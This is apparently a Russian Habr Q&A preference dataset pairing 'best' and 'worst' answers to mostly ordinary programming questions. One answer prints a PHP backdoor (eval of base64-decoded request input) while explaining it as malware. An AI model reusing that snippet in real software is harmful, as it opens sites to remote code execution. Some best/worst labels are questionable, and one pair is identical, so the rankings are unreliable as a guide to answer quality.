Vikhrmodels/habr_qa_sbs huggingface dataset:
Вопрос: Как побороть проблему console.log в JavaScript?

Лучший ответ:
не надо бороться с console.log
Надо правильно пользоваться инструментами.
Есть дебагер, который позволяет поставить брейкпоинты в нужном месте кода, остановить код в процессе выполнения и посмотреть что храниться в переменной.
Если уж сильно приспичило вывести в консоль объект, в том состоянии, которе есть в момент вывода можно использовать console.log(JSON.stringify(object, null, 2))

Худший ответ:
console.log слегка асинхронен и иногда показывает устаревшую инфу
Вопрос: QMap в QML как лучше всего сделать?

Лучший ответ:
Это должно помочь https://stackoverflow.com/questions/24362946/how-c...
Альтернативный вариант doc.qt.io/qt-5/qtcore-tools-customtype-example.html

Худший ответ:
В общем случае, как уже посоветовали, создать свой собственный тип, но всё равно не получится с ним работать как с массивом m[4]=42; будет что-то вроде m.set(4,42); и к тому же опять придётся скорее всего писать "обёртки", либо перегружать оператор [] и так далее - в зависимости от Вашей ситуации.
Вы можете работать как с обычным массивом через QList, но при этом будут особенности QList - если в QML сделать m[4]=42;  то с 0 по 3 список будет заполнен нулями и, возможно, Вам придётся вносить ещё изменения в код для обхода этой особенности. 
Вообще, теоретически, можно унаследоваться от QVariant, перегрузив оператор = , что бы выполнить внутри преобразование QMap к QVariantMap , сложить всё это аккуратно в QVariant  и перегрузить (), что бы выполнить обратное преобразование.  Будет немного трудновато, но вполне возможно. Либо, возможно, заставить думать мета-систему Qt о QMap как о QVariant map.
Вопрос: Что означает этот кусок кода в functions.php?

Лучший ответ:
Скачивается код с одного из 3 вредоносных сайтов и сохраняется в файл wp-tmp.php:<?php
$p = $_REQUEST["m"];
eval(base64_decode($p));
?>это бэкдор

Худший ответ:
Та же проблема. Но не понял, что с этим делать? Удалить с файла functions.php часть вредоносного кода?
Вопрос: Весь код программы на c# пишется в одном файле Program.cs?

Лучший ответ:
Так делают только во время обучения или для очень простых программ.

Худший ответ:
Если посмотреть на структуру  больших проектов, то можно увидеть, что там не только разделение классов по файлам идет, там еще и папки есть которые представляют собой namespace. В любом проекте писать все в одном файле - маразм!
Вопрос: Как вызвать PHP-файл?

Лучший ответ:
Какой еще index.html??? Снесите его и закиньте туда (в docs) index.php. Если не будет работать - просто включите поддержку php в настройках хостинга.
А вообще с таким калечным хостингом, быстрее всего решить проблему - позвонив в техпод.

Худший ответ:
Как вызвать ? на сервере, из браузера ?, если на сервере то php [путь_к_файлу]. Если в браузере то вопросов еще больше
Вопрос: Как на C++ вызвать имитацию клавиш CTRL+V?

Лучший ответ:
Это делается с помощью keybd_event
Вот ещё полезные ссылки:
https://stackoverflow.com/questions/5607849/how-to...
https://stackoverflow.com/questions/6811899/how-wo...
https://www.codeproject.com/Articles/7305/Keyboard...

Худший ответ:
Если вы запускаете exe файл, который имитирует CTRL+V, то фокус уже сместится с вашей программы с текстовым полем на новый процесс, и CTRL+V уйдет в этот же exe файл или бат скрипт.
Но вы можете использовать любые кликеры или софт для тестирования. Посмотрите AutoIT или ACTool
Вопрос: Резервное копирование Postgresql, можно ли настроить?

Лучший ответ:
Да, возможно. Посмотрите на параметры -t и -T

Худший ответ:
В общем решил сделать такой вариант:
Создать дополнительные таблицы для сбора изменений в таблицах статистики. На таблицы статистики повесить триггеры на insert\update, которые будут вставлять\изменять записи в дополнительных таблицах. А затем из этих доп. таблиц будут данные переноситься куда нужно через insert on conflict.
Вроде все в теории выглядит работоспособным.
Вопрос: Насколько безопасен Android 6.0.1?

Лучший ответ:
Пользуйтесь спокойно. Если сторонних приложений нет, а разрешения настроенные, шанс потерять денежные средства с карточки минимальный. Это уже из разряда паранойи. Если всё-равно нервничаете - пользуйтесь самой свежей версией стороннего браузера (к примеру, Mozilla), отключите JS для всех веб сайтов кроме доверенных и поставьте антивирус + файрвол.
Если желаете - поищите новые прошивки на нужное устройство. Если совсем параноите и новых прошивок больше нет - шейте кастом ром на основе образа из Android SDK 
А так, повторюсь, практического смысла в этом нет. Уязвимости есть всегда. Только обычных людей никто ломать спецом не будет. А даже, если этот конкретный планшет будет взломан, двухфакторная аутентификация не позволит злоумышленнику воспользоваться Вашими средствами.
Лучше задумайтесь об использовании мобильного телефона (мобильный банк, передача конфиденциальной информации посредством телефонной связи). Алгоритм A5 (используется до сих пор в стандарте GSM) ломается после 8 секунд разговора, а подмена базовой соты делается проще простого. А если Вы перезагрузите телефон из-под подмененной базовой соты, злоумышленник без проблем получит Ваш iccid и imsi и сможет эмулировать вашу симкарту со всеми вытекающими. И Вы этого даже не поймете. Во дворе припаркован фургончик, а телефон даже и не поймет, что подключен к левой базовой станции. А кто-то уже обчищает вашу карточку переводами через смс банк.

Худший ответ:
Если ты ничего левого не ставишь и не скачиваешь - можешь не волноваться. Тем более только домашняя сеть.
Вопрос: Сколько стоил в разработке Bitrix24 CRM или подобные системы?

Лучший ответ:
Миллион дерева конечно мало. Но на простенькую CRM хватит. Точнее на прототип, который можно пробовать развивать.
С маленьким бюджетом имеет смысл делать отраслевое решение, а не универсальное.
В любом случае, этот миллион должно быть не жалко.

Худший ответ:
Из человеческих ресурсов всего один верстальщик, дизайнер с частичной занятостью в проекте и один джун(я).
т.е. я правильно понимаю, что одним разработчиком, уровня джун, будет делаться весь проект?
А сколько времени вы закладываете на разработку?
Проект - стартап или под заказ?
Для того что бы его потом продавать или для опыта?
Вопрос: Как вывести количество имеющихся в конкретном складе тех или иных товаров?

Лучший ответ:
Можно использовать следующее:CModule::IncludeModule('catalog');
$arFilter = Array("PRODUCT_ID"=>array(94247,162284));
$rsStoreAmount = CCatalogStoreProduct::GetList(Array(),$arFilter,false,false,Array());
while($arStoreAmount = $rsStoreAmount->Fetch())
{
	echo "<pre>";
	print_r($arStoreAmount);
	echo "</pre>";
}

Худший ответ:
Попробовал использовать \Bitrix\Catalog\StoreProductTable::getList
Вот таблица с данными
Вот запросCModule::IncludeModule("catalog");

$products = [537, 547];
$amount = \Bitrix\Catalog\StoreProductTable::getList([
	'filter' => [
		'PRODUCT_ID' => $products
	]
])->fetchAll();

print_r($amount);
У вас в запросе 
'=PRODUCT_ID' >= 12391, 
А это:
('=PRODUCT_ID' >= 12391) === false
и в итоге фильтр принимает вид
array(false, '=STORE_ID' >= 2)
Вопрос: Как редактировать файл с другого сайта?

Лучший ответ:
Обращайтесь к файлу по абсолютному пути $file = fopen ('/path/to/file/text.csv', "r");
если они на одном сервере.
Либо по ftp

Худший ответ:
API или FTP
Вопрос: Как авторизовать пользователя из соцсети, если у него не указан email?

Лучший ответ:
А зачем что-то доставать из соцсети в императивном виде? Достаточно от Socialite получить идентификатор юзера в сети и на его основе создать учетку или прикрепить к существующей, если человек уже залогинен. Все остальные данные можно запросить у человека напрямую, если соцсеть не хочет ими делиться. Например, используя middleware, проверить все ли данные есть у юзера, в случае неполного профиля отобразить страничку с формой заполнения.

Худший ответ:
авторизационный нет, только из contacts
Вопрос: Почему на сайте не работает JS?

Лучший ответ:
Консоль-то откройтеThe page at 'https://test-proekt.ru/' was loaded over HTTPS, but requested an insecure script 'http://code.jquery.com/jquery-1.10.2.js'. This request has been blocked; the content must be served over HTTPS.
В подключении jQuery попробуйте http на https заменить

Худший ответ:
На мой взгляд тут 2 причины:
1. Из-за того, что вы используете https. скрипты, подключенные через протокол http не загружаются, вот и из-за этого не работает код.
2. Возможно какой-то файл для работы js кода не подключён, либо его вообще нет.
Мне больше кажется что 2-ой вариант...
Вопрос: Какие средства можно использовать на php для редактирования изображений?

Лучший ответ:
1) GD - встроенный
2) ImageMagick - побогаче возможности

Худший ответ:
php.net/manual/ru/book.imagick.php
Да и GD подойдет для ваших потребностей. И текст, и координаты, и прозрачность - всё есть.
Вопрос: Как сделать выполнение скрипта через 7 дней?

Лучший ответ:
выполнить скрипт через 7 дней

Худший ответ:
да там коду 6 строк
1. ставишь для хита проверку разности дат, т.е. твои 7 дней
2. хит делаешь любым сервисом проверки доступности сайта (например https://uptimerobot.com/dashboard#mainDashboard) , лучше двумя разными, делаешь в настройках период 1 час.
3. всё!
Вопрос: Как понять принцип асинхронности Node.js?

Лучший ответ:
Старое уже видео, но всё понятно
https://youtu.be/w4EHA9xqoNw

Худший ответ:
Тоже старое видео, но не менее актуально.
https://www.youtube.com/watch?v=8aGhZQkoFbQ
Вопрос: Большие объемы данных для сайта (50-100 ГБ, фотографии). Организация поиска среди них. Облачные хранилища или что-то другое?

Лучший ответ:
В качестве хранилища использовать можно любое s3, смотрите где дешевле. Например вот сравнение. А поиск по имени файла - это поиск не в хранилище, а в обычной базе данных, в которой у вас будет табличка с названиями фотографий и ссылками на сами фотографии, что-то вроде этого Images(id, name, link), где link - ссылка на изображение в хранилище

Худший ответ:
у яндекс.диска есть отличные REST API и WebDav API, юзайте их
https://tech.yandex.ru/disk/
Вопрос: Почему на продакшене чаще используеться KVM, а не Openvz?

Лучший ответ:
openvz более продуктивно использует ресурсы системы нежели виртуалки и гипервизоры(KVM, Xen) В ТЗ может быть иные требоевания нежели высокая продуктивность: высокая изоляция хост системы от гипервизора, винда в качестве хост системы, как подметил в комментарии может быть требование запускать в виртуалке контейнеры docker/lxc (лично такой изврат видел), ...
Были статьи о проблемах с контейнерами openvz при обновлениях системного ПО ресурсной системы.Пытаюсь понять: какие подводные камни у openvz.  Для этого и не только можно использовать поиск в форматах: fuckin openvz или trouble openvz.
Вообще, что надо?

Худший ответ:
Особых проблем нынче уже нет, более менее вылизали почты релиз, можно юзабилити в продакшене
Вопрос: Утрачена лицензия на сервер 1с предприятие. Как восстановить?

Лучший ответ:
Если вы зарегистрированы в 1с - можно восстановить.
Желательно узнать номер поставки - на коробке указан, на документах. После чего обратиться к франчайзи или написать напрямую в 1с, сообщить им номер поставки, и название организации на которую зарегистрирована лицензия.

Худший ответ:
Тогда обращаться напрямую в 1С - партнер-то ведь все равно у них регил Вашу покупку. Там подымут документы, посмотрят, что это был за партнер и разберутся.
Вопрос: Гуманитарное образование — это приговор?

Лучший ответ:
Ответ работодателя про выйти замуж - это просто неудачная неэтичная шутка.
На самом деле человек пытался обозначить, что вы не подходите именно под открытые позиции в этой компании, но выпустил вместо прямолинейного "вы нам не подходите" вот такой юморок. С безысходностью своего развития в отрасли это никак не связано, вообще.
Никто не выгоняет за наличие психологического образования. Обычно оно, наоборот, поощряется.
Проблема не в типе образования. Проблема в отсутствии опыта. Компания прогнозирует, что начинает не успевать выполнять определённые вещи. Она открывает вакансию на конкретную позицию с конкретными задачами, ожидая, что пришедший сможет заполнить этот пробел. Если человек не знает, как выполнять эти задачи, он не сможет ничего предложить работодателю, даже если у него есть высшее образование (независимо от области).
Вот как пройти этот порог вхождения:
Сначала нужно определиться, к чему именно тянет в ИТ и с чем хотелось бы работать. Веб-разработка (а там - либо разработка и вёрстка фронтэндов, либо разработка серверной части сайта, "бэкенда", работающей с базой данных и приходящими данными от фронтэнда), или сопровождение серверов, проектирование и внедрение инфраструктур, и т.д.
Затем два возможных пути:
- Вы самостоятельно пробуете сделать то, что вам интересно, дома на своём ПК. Если всё получается, пробуете ещё и ещё. Потом задумываете сделать небольшой личный проект по теме, просто что-нибудь минимально полезное для себя (хотя бы ради эксперимента).
- Вы устраиваетесь на вакансию с пометкой "стажирование", где требования к соискателям низкие. Если повезёт, то задачи будут интересными и они оставят вам полезный опыт. Нужно понимать, что на подобное обучение сотрудника компания тратит своё время и средства, поэтому не стоит ожидать больших окладов на этом этапе. Также не ждите, что за вас всё будут объяснять и постоянно выполнять роль учителя. Определённая самостоятельность всё-равно потребуется.
Это позволит обрести опыт и в дальнейшем уже быть полезной на тех вакансиях, где ждут людей на конкретные технологии и задачи. К тому моменту, с некоторыми из них вы уже наверняка будете иметь практику. =)

Худший ответ:
при озвучивании своего образования моя кандидатура практически сразу сбрасывается со счетов и нужно очень сильно удивить своими познаниями работодателя чтобы тебя взяли на работу
для девушек именно так и есть, не для мужчин!
Вопрос: Как достать ссылку из href='link'?

Лучший ответ:
Пример с первой же страницы документации:for link in soup.find_all('a'):
    print(link.get('href'))

Худший ответ:
Пример с первой же страницы документации:for link in soup.find_all('a'):
    print(link.get('href'))
Вопрос: Как вывести json?

Лучший ответ:
Переменная pageHtmlString берётся из ниоткуда и в никуда уходит.

Худший ответ:
Для простейших случаев мне понравился json2html.com
Вопрос: Вылетает ошибка, в чем может проблема?

Лучший ответ:
Вы пытаетесь использовать объект как массив и обратиться к его элементу. Скорее всего тутprintf($query['code']);
И вообще почему вы делаете так с $query? Вам вроде $res нужен:printf($res);
илиprintf($res['code']);

Худший ответ:
Может надо var_dump($res['code']);?
Вопрос: Node.js как сделать выполнение события в конкретное время?

Лучший ответ:
ну setInterval и setTimeout
а чем он плох? Стартует в отдельном потоке и крутится себе там - хорошо)
собственно, как еще отмерить точное число секунд?
Можно, конечно, реагировать на запрос на сервер. Но тогда нужно обеспечить равномерное распределение запросов (setInterval =) )

Худший ответ:
Если вопрос про выполнения действий по расписанию то - schedule
Если про задержку в секундах, вам Дмитрий все правильно подсказал.
Вопрос: Какую ERP-систему выбрать для произвоственного бизнеса?

Лучший ответ:
ту в которой будет работать, а не хвастаться что купили.

Худший ответ:
1С ERP 2.4
Вопрос: Почему говорят, что ООП это зло?

Лучший ответ:
Глупости. ООП - очень мощная парадигма. Бывают кейсы, когда она слишком накладна, это правда, но заявлять, что она зло...
Безусловно, если обмазываться всякими хаскелями, лиспами, эрлангами, скалами... где ООП парадигма может не давать профита, либо не применима вовсе - конкретно в тех языках ее использовать и не нужно.
В языках же заточенных по ООП парадигму - ФП с большой вероятностью будет плохой идеей.
Как то статья была, жаль не нашел (если кто найдет - отпишите в комментариях пожалуйста), со сравнением ООП и ФП, одним из тезисов было сравнение существующих принципов и паттернов, в ООП: наследование, полиморфизм, инкапсуляция, SOLID, IoC, ServiceLocator,... а у ФП: функции, функции, функции...
ФП сейчас набирает популярность, однако много людей, в том числе из моих знакомых, ярых поклонников этого направления вернулись обратно к "классике", в основном причина была такая: слишком высокая цена поддержки.

Худший ответ:
Просто попробуйте одно, затем другое и придите к тому варианту который вам больше понравится. Где то нужно ООП, где то не нужно. Полиморфизм, в виде виртуальных функций, к примеру позволяет прекрасно избавиться от лишних условий.
Вопрос: Оповещение в телеграм о добавлении записи в бд. Можно ли?

Лучший ответ:
Можно.
После добавления записи в таблицу делаете отправку сообщения с помощью метода sendmessage (https://core.telegram.org/bots/api#sendmessage)

Худший ответ:
При отправке данных с формы, если записались - отправить оповещение
Вопрос: Хочу хранить данные в блокчейне для последующей верификации. Как это сделать на Ethereum?

Лучший ответ:
Я могу рассказать, как на Emercoin сделать. Вообще-то всё просто. Скачиваете и ставите ноду (кошелёк), заводите на неё немного монет для оплаты услуг, и создаёте запись либо через GUI, либо JSON-запросом name_new. Потом, ежедневно - делаете name_update, и добавляете Ваши записи. Соответственно, историю записей (c ценами) можно видеть командой name_history. 
Рекомендую делать для каждого года отдельную new-запись, чтоб через несколько лет history не вываливала огромную простыню.
Ну и если ещё что-то нужно - обращайтесь к разработчикам ru_team@e...n.com

Худший ответ:
Для заявленной задачи ИМХО Emercoin вполне хватит. Просто и понятно.
Хотя практика - критерий истины. Кто мешает и там и там начать одновременно вести, и самостоятельно сравнить?
Вопрос: Как происходит добавление новостей или постов на сайт с помощью php + mysql?

Лучший ответ:
Все записи добавляются в базу данных и при каждом посещении пользователя php скрипт обращается к бд? Да.Или же данные с бд записываются в html файл и загрузка новостей или чего либо уже лежит на плечах браузера?Тоже да, кеширование в статический html иногда делают. Только не "на плечах браузера", а скорее на плечах веб-сервера, который отдает статику.У меня возникает вопрос, если к примеру на сайте 10/20/30 новостей на одной странице и одновременно эту страницу посещает множество человек ( к примеру 10 000), не будет ли нагрузка на сайт слишком большой? Ведь придется для каждого обращаться к бд и отдавать эти данные?Конечно будет большая нагрузка, и дешевый хостинг не выдержит 10к одновременных хитов. Даже с кешированием, и даже если эти 10к равномерно размазать на час, например (это примерно 3 хита в секунду), то не факт что выдержит. Об одновременных вообще речь не идет.Может быть у вас где нибудь в закладках есть какая нибудь статья в которой подробно расписано как все происходит? Или же может у вас есть чуточка свободного времени и вы сможете мне объяснить как происходит показ этих самых новостей пользователю
В общих чертах вам уже объяснили, но лучше вам с этим пока не заморачиваться, а делать "в лоб" - доставать данные из БД по каждому запросу. У вас ведь на самом деле нет 10к посетителей, и это голый теорикрафт?
Если все-же интересно почтитать про высоконагруженные системы, то можно поискать книги по highload или посмотреть соответствующие разделы на хабре, например.

Худший ответ:
Слушай, начинающий!! Советую тебе начать изучение не с углубления в технические детали, тем более ты в них фатально плаваешь, а с более важных вещей:
1. умение искать, распараллеливая запросы (не Тостер, а Тостер+гугл+SC+...+запросы на англ. языке)
2. постановка перед собой и соответственно перед уважаемым сообществом ТОСТЕРа ЗАДАЧ, а не эфемерных розовоочковых полетов мысли
Освоив эти два метода, скорость выполнения задачи уже вырастет минимум на 34-56%!
Ну какие    одновременно эту страницу посещает множество человек ( к примеру 10 000)
??!! Вы что, серьезно говорите об ОДНОВРЕМЕННОМ посещении 10000 человек???)))
Проекты с таким уровнем посещений лет на 200 вперед забронированы за студиями с полумиллиардными бюджетами, и вам там не место и мне и не сидят они тут))) Вам их не писать-не программировать, поэтому не создавайте себе проблему и не бросайтесь на её решение, просто переформулируйте свою задачу на 50-200 посещений в СУТКИ!!!
Чтобы не быть голословным - ютуб 120млн в сутки, делим на 86400 сек = 1388! 1388 посещения в секунду. и это посещение не ОДНОЙ страницы как бы... если разделить на миллиард ютуб-страниц, то что получишь в остатке...???)))
Ну а сегодняшний день начните (или закончите) чтением наиполезнейшей статейки Преждевременная оптимизация
Вопрос: Long polling — готовые решения?

Лучший ответ:
1. Ставишь composer, далее переходишь в папку с проектом через командную строку (cd c://bot - пример), выполняешь код:
"composer require guzzlehttp/guzzle".
2. Создаешь init.php, в этой папке, с содержимым:

// Инклуды)
use GuzzleHttp\Client;
include('vendor/autoload.php');
include('telegramBot.php');
//Получаем данные
$telegramApi = new TelegramBot();
// Вычный цикл, обработчик
while (true) {
sleep(2);
      $updates = $telegramApi->getUpdates();  // Получаем обновление, методом getUpdates
        foreach ($updates as $update){
          if (isset($update->message->text)) {  // Проверяем Update, на наличие текста
            $text = $update->message->text;                // Переменная с текстом сообщения
            $chat_id = $update->message->chat->id;    // Чат ID пользователя
            $first_name = $update->message->chat->first_name;  //Имя пользователя
            $username = $update->message->chat->username;   //Юзернейм пользователя
          print_r($chat_id);
          print_r($username);
          if ($text == '/start'){ // Если пользователь подключился в первый раз, ему поступит приветствие
            $telegramApi->sendMessage($chat_id, 'Привет'. ' ' . $first_name . '!');  //Приветствует Пользователя
          } else {
              $telegramApi->sendMessage($chat_id, $first_name . '! Как дела?' );  // Спрашивает как дела
                }
              }
        }
    }
3. Создаешь telegramBot.php, в этой папке, вот содержимое:

// Подключение библиотеки 
use GuzzleHttp\Client;
use Telegram\Api;
class TelegramBot
{
	protected $token = "ТОКЕН_БОТА";
	protected $updateId;
	// Функция собирает URL
	protected function query($method, $params = [])
	{
		$url = "https://api.telegram.org/bot";
    	$url .= $this->token;
    	$url .= "/" . $method;
    	if (!empty($params))
  	{
      	$url .= "?" . http_build_query($params);
  	}
    $client = new Client([
      'base_uri' => $url
    ]);
    $result = $client->request('GET');
    return json_decode($result->getBody());
	}
	// Получаем обновления
  	public function getUpdates()
  	{
    $response = $this->query('getUpdates', [
        'offset' => $this->updateId + 1
    ]);
        if (!empty($response->result)) {
            $this->updateId = $response->result[count($response->result) -1]->update_id;
    }
    return $response->result;
  	}
  	// Отправляем сообщения
  	public function sendMessage($chat_id, $text)
  	{
  	$response = $this->query('sendMessage',[
    'chat_id' => $chat_id,
    'text' => $text
  	]);
    return $response;
  	}
}
4. Что бы запустить его, там же в командной строке запускаешь файл:
php init.php
Там же в консоли увидишь Id пользователя и его юзернейм)
Вот такой не много туповаты пример, но работает.

Худший ответ:
Не знаю что там за бота вы делаете которому нужен лонг-поллинг, но если действительно нужен, то заюзайте это https://github.com/walkor/phpsocket.io (основан на workerman)
Вопрос: Не хочет работать href, в чем причина?

Лучший ответ:
Если добавление кавычек не помогает, то проверьте не стоит ли у вас русская буква a в теге ссылки.

Худший ответ:
а папробуйте так href="https://www.google.com"